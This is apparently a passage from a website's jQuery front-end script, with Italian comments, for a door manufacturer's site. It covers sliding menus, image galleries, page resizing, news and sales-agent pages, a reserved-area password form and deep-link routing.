	}
}
/**
 * ******************************APRI SCHEDA DETTAGLIO CASSE
 * ABBINABILI**************************
 */
function openSchedaCasseAbbinabili(obj) {
	if (obj) {
		$('#img_casse_abbinabili').attr('src', obj);
	}

	if ($('#scheda_dett_casse')) {
		if ($('#scheda_dett_casse').attr('status') == "hide") {
			$('#scheda_dett_casse').attr('status', 'visible');

			$("#scheda_dett_casse").animate({
				right : '+=801'
			}, 'slow', function() {

			});
		}
	}
}

function changeColorPorta(src) {
	$('#porta').attr('src', '');
	if (src) {		
		$('#porta').attr('src', src);
	}
}

/**
 * ******************************PAGINA CARATTERISTICHE
 * TECNICHE*********************************************
 */
function openPageCaratteristicheTecniche(idColl) {
	olimpo = false;
	artemide = false;

	$('.lk_dett_collezione').removeClass('selected');
	$('#car_tecniche').addClass('selected');
	// console.log('entro222');
	// console.log('entro222');

	// apri sezione porte
	openSchedaPortaCT('', '', idColl);

	if ($(".submenu_header2_menu").attr('status') == 'open') {
		$(".submenu_header2_menu").animate({
			left : '-=150'
		}, 'slow', function() {
			$(".submenu_header2_menu").attr('status', 'close');
		});
	}
	return (false);

}

var zoom_image = true;
function openSchedaPortaCT(obj, page, idColl) {
	var pagina_sel;

	if (slider_specifiche) {
		slider_specifiche = clearInterval(slider_specifiche);
		slider_specifiche = null;
	}

	pagina_sel = "scheda_porta_ct.php";

	var params = {};
	params.idColl = idColl;
	params.time = unixTime();

	$.get(
					pagina_sel,
					params,
					function(data) {
						zoom_image = false;
						$("#contIntDx").html(data);
						$('#btn_prev').css('display', 'none');
						if (obj) {
							$('.t_porta').removeClass('selected');
							$(obj).addClass('selected');
							var nome_porta = $(obj).html();
							attivaCufon('');
							$('#btn_prev').css('display', 'block');
							$('#btn_next').css('display', 'block');
						}

						attivaCufon('');
						// $('#cont-scheda-porta-ct').css('height',totalHeight);
						if ($('#gallery').children().length > 1) {
							// slideshow img

							count = 0;
							resetWH100("#cont-gallery");

							var arr;
							if (self.innerWidth != undefined)
								arr = [ self.innerWidth, self.innerHeight ];
							else {
								var D = document.documentElement;
								if (D)
									arr = [ D.clientWidth, D.clientHeight ];
							}
							var h = parseInt(arr[1]);
							var w = parseInt(arr[0]);

							totalHeight = (h < 750) ? 750 : h;
							//
							obj_show = null;
							obj_next = null;
							slideshowSpec(1);
							if (slider) {
								slider = clearInterval(slider);
								slider = null;
							}
							// slider_specifiche=window.setInterval(slideshowSpec,10000);

							$('#btn_prev').click(
											function() {
												if (slider_specifiche) {
													slider_specifiche = clearInterval(slider_specifiche);
													slider_specifiche = null;
												}
												if (finish == true) {
													count -= 1;
													var nro_immagini = $(
															'#gallery')
															.children(
																	'.imgGallery').length;
													count = ((count < 1) ? 0
															: count);
													if ((count == 1)) {
														$('#btn_prev').css('display','none');
													}
													$('#btn_next').css('display', 'block');
													visualizzaImmagineGallerySpec(count);
												}
											});

							$('#btn_next').click(
											function() {
												if (slider_specifiche) {
													slider_specifiche = clearInterval(slider_specifiche);
													slider_specifiche = null;
												}
												if (finish == true) {
													count = parseInt(count) + 1;
													var nro_immagini = $('#gallery').children('.imgGallery').length;
													count = ((count > nro_immagini) ? nro_immagini : count);
													if ((count == nro_immagini)) {
														$('#btn_next').css('display','none');
													}
													$('#btn_prev').css('display', 'block');
													visualizzaImmagineGallerySpec(count);
												}
											});
						}
					});
}

function slideshowSpec() {
	count += 1;

	var nro_immagini = $('#gallery').children('.imgGallery').length;
	count = ((count > nro_immagini) ? 1 : count);
	visualizzaImmagineGallerySpec(count);
}

var finish = true;
function visualizzaImmagineGallerySpec(obj) {
	$('#gallery').css("width", "auto");
	$('#gallery').height(totalHeight);
	var nome_img = "img" + obj;
	obj_next = $("#img" + obj)

	if (obj_show) {

		finish = false;
		$('.cont-nro .nro_img').removeClass('selected');
		$('#nro' + count).children('span').addClass('selected');
		$(obj_show).fadeOut(0, function() {
			$(obj_next).fadeIn(0, function() {
				obj_show = $(obj_next);
				finish = true;

			});

		});
	} else {
		finish = false;
		$('.cont-nro .nro_img').removeClass('selected');
		$('#nro' + count).children('span').addClass('selected');
		$(obj_next).fadeIn('slow', function() {
			obj_show = $(obj_next);
			finish = true;
		});
	}
}

function openSchedaApertureSalvaspazio(obj) {
	$('.lk_car_tecniche').removeClass('selected');
	$('.lk_aperture').addClass('selected');

	$('#submenu_header2_ct .menu').css('display', 'none');
	$('#submenu_header2_ct .menu_aperture').css('display', 'block');

	var params = {};
	params.time = unixTime();

	$.get('scheda_aperture.php', params, function(data) {
		zoom_image = true;
		$("#contIntDx").html(data);

		if (obj) {
			$('.sub_aperture').removeClass('selected');
			$(obj).addClass('selected');
			var nome_title = $(obj).html();
			$('#cont-scheda-aperture-ct .subtit').html(nome_title);
		}
		attivaCufon('');
		$('#cont-scheda-aperture-ct').css('height', totalHeight - 79);
	});
}

function selectDettPorta(obj, nro) {
	$('.porta .iden').removeClass('selected');
	$(obj).addClass('selected');
	$('.dett .nro').html(nro);
	attivaCufon('');
}

/**
 * *************************************RESIZE
 * PAGINA*********************************************
 */
$(window).resize(function() {
	resize();
});

// resize pagine
function resize() {
	var arr;
	if (self.innerWidth != undefined)
		arr = [ self.innerWidth, self.innerHeight ];
	else {
		var D = document.documentElement;
		if (D)
			arr = [ D.clientWidth, D.clientHeight ];
	}
	var h = parseInt(arr[1]);
	var w = parseInt(arr[0]);

	h_header = (h <= 750) ? 750 : h;

	$('#main-header').css('height', h_header);
	$('.submenu_header_menu').css('height', h_header);
	$('.submenu_header2_menu').css('height', h_header);

	if ($('#scheda_dett')) {
		$('#scheda_dett').css('height', h_header);
	}
	if ($('#scheda_dett_casse')) {
		$('#scheda_dett_casse').css('height', h_header);
	}
	if ($('#scheda_dett_cn')) {
		$('#scheda_dett_cn').css('height', h_header);
	}

	$('.scheda_dett_int').css('height', h_header);

	$('#cont-scheda').css('height', (h_header - 72) + 'px');
	if ($('#gallery')) {

		resetWH100("#cont-gallery");
		if ($(obj_show)) {
			resetW100Hauto($(obj_show));
		}

		clearInterval(slider);
		var arr;
		if (self.innerWidth != undefined)
			arr = [ self.innerWidth, self.innerHeight ];
		else {
			var D = document.documentElement;
			if (D)
				arr = [ D.clientWidth, D.clientHeight ];
		}
		var h = parseInt(arr[1]);
		var w = parseInt(arr[0]);
		totalWidth = w;
		totalHeight = (h < 750) ? 750 : h;

		resetW100Hauto($(obj_show));
		var imgH = parseInt($(obj_show).height());

		if (zoom_image == true) {
			$(obj_show).css("width", "auto");
			$(obj_show).width("auto");
			$(obj_show).css("height", totalHeight + "px");
			$(obj_show).height(totalHeight);
			$('#gallery').css("width", "auto");
			$('#gallery').height(totalHeight);
		}

		if (slider) {
			var nro_immagini = $('#gallery').children('.imgGallery').length;
			if (nro_immagini > 1) {
				clearInterval(slider);
				slider = null;
				if(homepage == true){
					slider = window.setInterval(slideshow, 3000);
				}else{
					slider = window.setInterval(slideshow, 3000);
				}
			} else {
				clearInterval(slider);
				slider = null;
			}
		}
	}

	if ($('#cont-contact')) {
		getHeightWindow();
		var height_window = totalHeight;
		var h_header = (h <= 750) ? 750 : height_window;
		$('#map_canvas').css('height', height_window);
		if ($.browser.msie && $.browser.version == '7.0') {
			$('#indirizzo').css('height', h_header - 20);
		} else {
			$('#indirizzo').css('height', h_header);
		}
	}

	if ($('#cont-scheda-porta-ct')) {
		$('#cont-scheda-porta-ct').css('height', totalHeight);
	}
	if ($('#cont-scheda-aperture-ct')) {
		$('#cont-scheda-aperture-ct').css('height', totalHeight);
	}

	if ($('.gallery-specifiche')) {
		$('#btn_next').css('right', '20px');
	}

	//
	var h = Math.max($(window).height(), $('#main_body').height());
	var w = Math.max($(window).width(), $('#main_body').width());
	h_header = (h <= 750) ? 750 : h;
	$('#main-header').css('height', h_header);
	$('.submenu_header_menu').css('height', h_header);
	$('.submenu_header2_menu').css('height', h_header);

	/**/
	var _h = (h <= 750) ? 750 : h;
	old_height_page = _h;
	
	resizeImgBackground();
	

	/**/
}


function resizeImgBackground(){
	
	if($('.background_pg').length == 1){
			//alert('entro');	
		var h_window = Math.max($(window).height(), $('#main_body').height());
		h_header = (h_window <= 750) ? 750 : h_window;
		$('.background_pg').css('height',h_header);
		
		var w_window = Math.max($(window).width(), $('#main_body').width());
		w_header = ((w_window-150) <= 850) ? 850 : (w_window-150);
		$('.background_pg').css('width',w_header);
		
		resizeBackground('#img_bk');
	}
}

/** ******************************** */
$(window).ready(function() {
	getHeightWindow();
	resize();
	// openMainMenu();
	attivaCufon('');
});

// /*******************************************/
function getHeightWindow() {
	var arr;
	if (self.innerWidth != undefined)
		arr = [ self.innerWidth, self.innerHeight ];
	else {
		var D = document.documentElement;
		if (D)
			arr = [ D.clientWidth, D.clientHeight ];
	}
	var h = parseInt(arr[1]);
	var w = parseInt(arr[0]);
	totalWidth = w;
	totalHeight = (h < 750) ? 750 : h;
}

// attivo plugin caratteri
function attivaCufon(idElemento) {
	idElemento = (typeof (idElemento) == "undefined") ? "" : (idElemento + " ");
	idElementoscrollPage = (typeof (idElementoscrollPage) == "undefined") ? ""
			: (idElementoscrollPage + " ");
	Cufon.replace(idElementoscrollPage + '.futura', {
		fontFamily : 'Futura',
		hover : 'true'
	});
	Cufon.replace(idElementoscrollPage + '.futuralg', {
		fontFamily : 'FuturaLight',
		hover : 'true'
	});
	Cufon.replace(idElementoscrollPage + '.helvetica-bc', {
		fontFamily : 'HelveticaNeueBoldCondenced',
		hover : 'true'
	});
}

/** *********************NEWS********************* */
function openPaginaNews(idCat, pag) {
	var h = Math.max($(window).height(), $('#main_body').height());
	var w = Math.max($(window).width(), $('#main_body').width());

	h_header = (h <= 750) ? 750 : h;
	$('#main-header').css('height', h_header);
	$('.submenu_header_menu').css('height', h_header);
	$('.submenu_header2_menu').css('height', h_header);

	deleteClassOpen();
	$('#submenu_header_news').addClass('open');
	closeSubmenus();

	$('.lk_collezione').removeClass('selected');
	$('.cont-thumbs a').removeClass('selected');
	$('.voce').removeClass('selected');
	$('#comunicazione').addClass('selected');
	$("#submenu_header_news .submenu-collezioni a").removeClass('selected');
	if (idCat == '') {
		idCat = 1;
	}
	$('#lNewsCat' + idCat).addClass('selected');
	// gestione header
	if ($('#submenu_header_news').attr('status') == 'close') {
		$("#submenu_header_news").animate({
			left : '+=75'
		}, "slow", function() {
		});
		$('#submenu_header_news').attr('status', 'open');
	}

	var params = {};
	params.idCat = idCat;
	params.pag = pag;
	params.time = unixTime();
	$.get('news.php', params, function(data) {
		zoom_image = false;
		$("#contIntDx").html(data);
		$('.title_news').css('width', $('.title_news').width() - 149);

		if (old_height_page > 0) {
			$('#main-header').css('height', old_height_page);
			$('.submenu_header_menu').css('height', old_height_page);
			$('.submenu_header2_menu').css('height', old_height_page);
		}
		attivaCufon('');
	});
	return (false);
}

var old_height_page;
function openSchedaNews(idCat, pag, idNews) {
	old_height_page = Math.max($(window).height(), $('#main_body').height());

	if ($('#submenu_header_news').attr('status') == 'close') {
		$("#submenu_header_news").animate({
			left : '+=75'
		}, "slow", function() {
		});
		$('#submenu_header_news').attr('status', 'open');
	}

	var params = {};
	params.idCat = idCat;
	params.pag = pag;
	params.idNews = idNews;
	params.time = unixTime();
	$.get('schedaNews.php', params, function(data) {
		zoom_image = false;
		$("#contIntDx").html(data);

		var h = Math.max($(window).height(), $('#main_body').height());
		var w = Math.max($(window).width(), $('#main_body').width());

		// $('.title_article').css('width',w-600);

		h_header = (h <= 750) ? 750 : h;
		$('#main-header').css('height', h_header);
		$('.submenu_header_menu').css('height', h_header);
		$('.submenu_header2_menu').css('height', h_header);

		$('.gallery-news .thumb').mouseenter(function() {
			if ($(this).find('.overlay_thumb').length <= 0) {
				$(this).append("<div class='overlay_thumb'></div>");
				var obj = $(this).find('.overlay_thumb');
			}
		});
		$('.gallery-news .thumb').mouseleave(function() {
			if (!$(this).hasClass('selected')) {
				$(this).find('.overlay_thumb').remove();
			}
		});
		attivaCufon('');
	});
}

function changeImgGalleryNews(obj) {
	var img_obj = $(obj).attr('img_big');
	$('.overlay_thumb').remove();
	$('.cont-thumbs a').removeClass('selected');
	$(obj).addClass('selected');
	$(obj).append("<div class='overlay_thumb'></div>");
	$('.img_big_sch_news').attr('src', img_obj);
}

function closeSubmenus() {
	// if($('.submenu_header2_menu').attr('status')=='open'){

	var arr_menu2 = $('.submenu_header2_menu');
	for (y = 0; y < arr_menu2.length; y++) {

		if ($(arr_menu2[y]).attr('status') == 'open'
				&& !$(arr_menu2[y]).hasClass('open')) {
			$(arr_menu2[y]).attr('status', 'close');
			$(arr_menu2[y]).css('left', '75px');
		}
	}
	$("#submenu_header_agenti3").css('left', '75px');
	$("#submenu_header_agenti3").css('status', 'close');

	var arr_menu = $('.submenu_header_menu');

	for (i = 0; i < arr_menu.length; i++) {
		if ($(arr_menu[i]).attr('status') == 'open'
				&& !$(arr_menu[i]).hasClass('open')) {
			$(arr_menu[i]).attr('status', 'close');
			$(arr_menu[i]).css('left', '75px');
		}
	}
}

function deleteClassOpen() {
	$('#submenu_header2').removeClass('open');
	$('#submenu_header').removeClass('open');
	$('#submenu_header_news').removeClass('open');
}

/** **************AGENTI***************** */
function openPaginaAgenti() {
	// 0x535353
	$('.submenu_header_menu').css('background', '#464646');
	$('.submenu_header2_menu').css('background', '#4f4f4f');
	$('#submenu_header_agenti3').css('background', '#535353');

	var h = Math.max($(window).height(), $('#main_body').height());
	var w = Math.max($(window).width(), $('#main_body').width());
	h_header = (h <= 750) ? 750 : h;
	$('.submenu_header_menu').css('height', h_header);
	$('.submenu_header2_menu').css('height', h_header);

	// abilita link home
	$('.lk_collezione').removeClass('selected');
	$('.voce').removeClass('selected');
	$('.voce#agenti').addClass('selected');
	// gestione header
	deleteClassOpen();
	closeSubmenus();
	if ($('#submenu_header_agenti').attr('status') == 'close') {

		$("#submenu_header_agenti").animate({
			left : '+=75'
		}, "slow", function() {
		});
		$('#submenu_header_agenti').attr('status', 'open');
	}

	$.get('agenti.php', function(data) {
		zoom_image = false;
		$("#contIntDx").html(data);
		if (old_height_page > 0) {
			$('#main-header').css('height', old_height_page);
			$('.submenu_header_menu').css('height', old_height_page);
			$('.submenu_header2_menu').css('height', old_height_page);
		}
		attivaCufon('');
	});
}

function selectSubCatAgenti(obj) {
	$('.submenu_header_menu a').removeClass('selected');
	$('.submenu_header_agenti2 a').removeClass('selected');
	$(obj).addClass('selected');

	if ($('#submenu_header_agenti3').attr('status') == 'open') {
		$('#submenu_header_agenti3').attr('status', 'close');
		$("#submenu_header_agenti3").animate({
			left : '-=225'
		}, "slow", function() {
			if ($('#submenu_header_agenti2').attr('status') == 'open') {
				$('#submenu_header_agenti2').attr('status', 'close');
				$("#submenu_header_agenti2").animate({
					left : '-=150'
				}, "slow", function() {
				});
			}
		});
	}

	var params = {};
	params.idCat = $(obj).attr("idCat");
	params.time = unixTime();

	$.ajax({
		type : 'GET',
		url : "submenu_header_agenti.php",
		data : params,
		success : function(response) {
			$('#submenu_header_agenti2').html(response);
			attivaCufon('');
			// open submenu 2
			if ($('#submenu_header_agenti2').attr('status') == 'close') {
				$("#submenu_header_agenti2").animate({
					left : '+=150'
				}, "slow", function() {
				});
				$('#submenu_header_agenti2').attr('status', 'open');
			}
		},
		error : function(xhr, type, exception) { /* alert("Error: " + type); */
		}
	});
}

function selectSubCat2Agenti(obj) {

	if ($('#submenu_header_agenti').attr('status') == 'close') {

		$("#submenu_header_agenti").animate({
			left : '+=75'
		}, "slow", function() {
		});
		$('#submenu_header_agenti').attr('status', 'open');
	}

	if ($('#submenu_header_agenti2').attr('status') == 'close') {

		$("#submenu_header_agenti2").animate({
			left : '+=150'
		}, "slow", function() {
		});
		$('#submenu_header_agenti2').attr('status', 'open');
	}

	$('.submenu_header2_menu a').removeClass('selected');
	$('.submenu_header2_menu a').removeClass('selected');
	$(obj).addClass('selected');

	var params = {};
	params.idCat = $(obj).attr("idCat");
	params.subCat = $(obj).attr("idCat");
	params.time = unixTime();

	$.ajax({
		type : 'GET',
		url : "submenu_header_agenti2.php",
		data : params,
		success : function(response) {
			$('#submenu_header_agenti3').html(response);
			attivaCufon('');
			// open submenu 2
			if ($('#submenu_header_agenti3').attr('status') == 'close') {
				$("#submenu_header_agenti3").animate({
					left : '+=225'
				}, "slow", function() {
				});
				$('#submenu_header_agenti3').attr('status', 'open');
			}
		},
		error : function(xhr, type, exception) { /* alert("Error: " + type); */
		}
	});
}

function showInfoAgente(obj) {
	if ($('#submenu_header_agenti').attr('status') == 'close') {

		$("#submenu_header_agenti").animate({
			left : '+=75'
		}, "slow", function() {
		});
		$('#submenu_header_agenti').attr('status', 'open');
	}
	/*
	 * if($('#submenu_header_agenti2').attr('status')=='close'){
	 * 
	 * $("#submenu_header_agenti2").animate({ left: '+=150' }, "slow",
	 * function() { }); $('#submenu_header_agenti2').attr('status','open'); }
	 */

	$('#submenu_header_agenti3 a').removeClass('selected');
	$(obj).addClass('selected');
}
/********************AREA RISERVATA*******************/
function openPageAreaRiservata(){
	var params = {};
	var params = {};
	params.lang = $('#main_body').attr("lang");
	params.time = unixTime();
	
	$.ajax({
		type : 'GET',
		data : params,
		url : "area_riservata.php",
		success : function(response) {
			$('#contIntDx').html(response);
			attivaCufon('');
		},
		error : function(xhr, type, exception) { /* alert("Error: " + type); */
		}
	});
}

function attivaFormAreaRiservata(){
	// var el8 = document.getElementById("txt_space_info");
	var lang = $('#main_body').attr('lang');
	
	$.post("funz/area_riservata.php", {
		act : "areariservata",		
		password : $("#password").val(),
		time : unixTime()
	}, function(data) {
		if (data == "ok") {
			$('#alert').html('');
			//$('#btn_invia_contact').remove();
			//$('#btn_area_ris').trigger('click');
			location.href = "http://88.54.57.252/analytics/";
			//var open_w = window.open("http://www.javascript-coder.com","mywindow");
			
			//window.open('http://88.54.57.252/analytics/saw.dll?Answers','_w');
		}if (data == "ko") {
			switch(lang) { 
				case 'en':
					$('#alert').html('Error! Try again later!');					
				break;
				default: 
					$('#alert').html('Errore!Riprovare pi&uacute; tardi!');
				break;
			}
		}else {
			switch(lang) { 
			  case 'en': 
				if (data == "password_missing") {	$("#password").focus();	$('#alert').html('Insert your password'); return (false);}
				if (data == "password_wrong") {	$("#password").focus();	$('#alert').html('Password wrong'); return (false);}

			  break; 			
			  default: 
				if (data == "password_missing") {	$("#password").focus();	$('#alert').html('Il campo password &eacute; obbligatorio'); return (false);}
				if (data == "password_wrong") { $("#password").focus();	$('#alert').html('Attenzione: password errata!'); return (false);}

			}
		}
	});
	return (false);	
}

/** ********DEEP LINKING*********** */
var init_page = "true";
function gotoPage(url) {
	// f(url == ''){console.log('qui');}
	// console.log(url);
	var id_collection = url.substr(11);
	var collection;
	if (parseInt(id_collection) > 0) {
		collection = url;
	} else {
		collection = '';
	}

	var id_collection_porta = url.substr(0, 12);
	var porta;
	if (id_collection_porta == '/collezione/') {
		porta = url;
	} else {
		porta = '';
	}

	var id_specifiche = url.substr(0, 21);
	var specifiche;
	if (id_specifiche == '/specifiche_tecniche/') {
		specifiche = url;
	} else {
		specifiche = '';
	}

	var id_comunicazione = url.substr(0, 14);
	var comunicazione;
	if (id_comunicazione == '/comunicazione') {
		comunicazione = url;
	} else {
		comunicazione = '';
	}

	var dett_news = url.substr(0, 15);
	var news;
	if (dett_news == '/comunicazione/') {
		news = url;
		comunicazione = '';
	} else {
		news = '';
	}

	var dett_agenti = url.substr(8, 10);
	var agente;

	if (dett_agenti != '') {
		agente = url;
	} else {
		agente = '';
	}
	

	switch (url) {
	case '/home':
		showHomePage();
		break;
	case '/areariservata':
		openPageAreaRiservata();
		break;
	case '/collezioni':
		openPageCollezioni();
		break;
	case collection:
		openCollezione('.collezione' + id_collection, '');
		break;
	// open gallery porta
	case porta:
		var iden_porta = porta.split('/');
		if (iden_porta[iden_porta.length - 1] == "gallery") {
			if (init_page == "true") {

				$('.voce ').removeClass('selected');
				$('.collezione' + iden_porta[2]).addClass('selected');

				var params = {};
				params.idCat = $('.collezione' + iden_porta[2]).attr("idCat");
				params.idColl = $('.collezione' + iden_porta[2]).attr("idColl");
				$.ajax({
					type : 'GET',
					url : "submenu_header.php",
					data : params,
					success : function(response) {
						$('#submenu_header').html(response);
						attivaCufon('');
						init_page = "false";
						openPageGallery('#sub'
								+ iden_porta[iden_porta.length - 2]);
					},
					error : function(xhr, type, exception) {
					}
				});
			} else {
				openPageGallery('#sub' + iden_porta[iden_porta.length - 2]);
			}
		} else {
			if (init_page == "true") {

				$('.voce ').removeClass('selected');
				$('.collezione' + iden_porta[2]).addClass('selected');

				var params = {};
				params.idCat = $('.collezione' + iden_porta[2]).attr("idCat");
				params.idColl = $('.collezione' + iden_porta[2]).attr("idColl");

				$.ajax({
					type : 'GET',
					url : "submenu_header2.php",
					data : params,
					success : function(response) {
						$('#submenu_header2').html(response);
						attivaCufon('');
					},
					error : function(xhr, type, exception) { /*
																 * alert("Error: " +
																 * type);
																 */
					}
				});

				$.ajax({
					type : 'GET',
					url : "submenu_header.php",
					data : params,
					success : function(response) {
						$('#submenu_header').html(response);
						attivaCufon('');
						init_page = "false";
						$('#sub' + iden_porta[iden_porta.length - 2]).addClass(
								'selected');
						openSchedaDettPorta('#sub'
								+ iden_porta[iden_porta.length - 2]);
					},
					error : function(xhr, type, exception) {
					}
				});

			} else {
				openSchedaDettPorta('#sub' + iden_porta[iden_porta.length - 2]);
			}
		}
		break;
	// open scheda specifiche tecniche
	case specifiche:
		/*
		 * var iden_cat_specifiche = specifiche.split('/');
		 * s.log(iden_cat_specifiche);
		 * openPageCaratteristicheTecniche('.collezione'+iden_cat_specifiche[2]);
		 */
		var iden_cat_specifiche = specifiche.split('/');
		openCollezione('.collezione'+ iden_cat_specifiche[iden_cat_specifiche.length - 1], '', 'st');
		//openPageCaratteristicheTecniche($(obj).attr("idColl"));
		break;
	case '/cataloghi':
		openPageCataloghi();
		break;
	case comunicazione:
		var com = comunicazione.split('_');
		var param1 = ((parseInt(com[1]) > 0) ? com[1] : '');
		var param2 = ((parseInt(com[2]) > 0) ? com[2] : '');
		openPaginaNews(param1, param2);
		break;
	case news:
		var com = news.split('/');
		openSchedaNews(com[2], com[3], com[4]);
		break;
	case '/agenti':
		openPaginaAgenti();
		break;
	case '/contact':
		openPageContact();
		break;
	case agente:
		var id_agente = agente.split('/agenti/');
		var arr = agente.split('/');
		if (arr.length < 5) {
			var links = $('#submenu_header_agenti .lk_dett_collezione');
			selectSubCatAgenti(links[parseInt(id_agente[1]) - 1]);
			if (init_page == "true") {
				openPaginaAgenti();
				init_page = "false";
			}
		} else {
			if (parseInt(arr[5]) > 0) {
				var obj = $('#submenu_header_agenti3 .lk_dett_collezione');
				showInfoAgente(obj[parseInt(arr[5]) - 1]);

				if (init_page == "true") {
					var id_agente = arr[4];
					var obj = $('#submenu_header_agenti2 .lk_dett_collezione');
					selectSubCat2Agenti(obj[parseInt(id_agente)]);
					init_page = "false";
				}
			} else {
				var links = $('#submenu_header_agenti2 .lk_dett_collezione');
				var id_agente = arr[4];
				var obj = $('#submenu_header_agenti2 .lk_dett_collezione');
				selectSubCat2Agenti(obj[parseInt(id_agente)]);
				if (init_page == "true") {
					var links = $('#submenu_header_agenti .lk_dett_collezione');
					selectSubCatAgenti(links[parseInt(id_agente[1]) - 1]);
					init_page = "false";
				}
			}
		}
		break;
	default:
		showHomePage();
		break;
	}
}


///////////////////RESIZE//////////////////////////////
function getDimWindow(){
	var arr;
	if(self.innerWidth!=undefined)arr= [self.innerWidth,self.innerHeight];
	else{
		var D= document.documentElement;
		if(D) arr= [D.clientWidth,D.clientHeight];
	}
	var totalWidth=Math.max($(window).width(),$('#main_body').width() );
	var totalHeight=Math.max($(window).height(),$('#main_body').height());

	var array = new Array(totalWidth, totalHeight);
	//arr = [totalWidth,totalHeight];
	return array;
}	

function resizeBackground(obj){
	
	var arr_win = getDimWindow();
	var _w =  arr_win[0]-150;
	var _h =  arr_win[1];
	var w_img = parseInt($(obj).attr('_w'));
	var h_img = parseInt($(obj).attr('_h'));
	
	if(_w < 850 ){
		_w = 850;
	}
	
	if(_h < 750){
		_h = 750;
	}
	

	var dimensions = getMinAreaResize(w_img ,h_img, _w, _h);

	
	var newH = dimensions[1];
	var newW = dimensions[0];
	var rapOrig = w_img / h_img;
	

	$(obj).css('height',dimensions[1]);	
	$(obj).css('width',dimensions[0]);
	
	//posiziona immagine  a sinistra rispetto alla finestra del browser
	//alert(newW);
	//alert(_w);

	
	if(newW > _w ){
		var diff = newW - _w;
		/*console.log(newW);
		console.log(_w);
		console.log('diff '+diff);
		console.log('---------------------');
		*/
		$(obj).css('margin-left',-Math.ceil(diff));
	}else{
		$(obj).css('margin-left','0px');
	}
}

/**
 * Ritorna le dimensioni proporzionate in base ad un'area massima definita in modo da riempire sempre l'area definita.
 */
function getMinAreaResize(w, h, wMax, hMax) {
	var dim;
	var newW;
	var newH;
	var rapDest;
	var rapOrig;
	if(w == h) {
		// la sorgente è quadrata
		if(wMax == hMax) {
			// l'area di destinazione è quadrata
			newW = wMax;
			newH = hMax;
			dim = [newW,newH];
		} else if(wMax > hMax) {
			// l'area di destinazione è più LARGA che alta
			dim = setHeightProp(w, h, wMax);
		} else {
			// l'area di destinazione è più ALTA che larga
			dim = setWidthProp(w, h, hMax);
		}
	} else if(w > h) {
		// la sorgente è LARGA
		if(wMax == hMax) {
			// l'area di destinazione è quadrata
			dim = setWidthProp(w, h, hMax);
		} else if(wMax > hMax) {
			// l'area di destinazione è più LARGA che alta
			rapDest = hMax / wMax;
			rapOrig = h / w;
			if(rapDest == rapOrig) {
				// l'area e l'immagine hanno la stessa proporzione
				dim = setSameProp(w, h, hMax);
			} else if(rapDest > rapOrig) {
				// l'area è più Alta in proporzione all'immagine
				dim = setWidthProp(w, h, hMax);
			} else {
				// l'area è più LARGA in proporzione all'immagine
				dim = setHeightProp(w, h, wMax);
			}
		} else {
			// l'area di destinazione è più ALTA che larga
			dim = setWidthProp(w, h, hMax);
		}
	} else {
		// la sorgente è ALTA
		if(wMax == hMax) {
			// l'area di destinazione è quadrata
			dim = setHeightProp(w, h, wMax);
		} else if(wMax > hMax) {
			// l'area di destinazione è più LARGA che alta
			dim = setHeightProp(w, h, wMax);
		} else {
			// l'area di destinazione è più ALTA che larga
			rapDest = hMax / wMax;
			rapOrig = h / w;
			if(rapDest == rapOrig) {
				// l'area e l'immagine hanno la stessa proporzione
				dim = setSameProp(w, h, hMax);
			} else if(rapDest > rapOrig) {
				// l'area è più Alta in proporzione all'immagine
				dim = setWidthProp(w, h, hMax);
			} else {
				// l'area è più LARGA in proporzione all'immagine
				dim = setHeightProp(w, h, wMax);
			}
		}
	}
	return dim;
}


function setWidthProp(w, h, hMax) {
	var dim = [];
	var newW = (hMax / h) * w;
	var newH = hMax;
	dim = [newW, newH];
	return dim;
}

function setHeightProp(w, h, wMax) {
	var dim = [];
	var newW = wMax;
	var newH = (newW / w) * h;
	dim = [newW, newH];
	return dim;
}

function setSameProp(w, h, hMax) {
	var dim = [];
	var newW = (hMax / h) * w;
	var newH = (newW / w) * h;
	dim = [newW, newH];
	return dim;
}


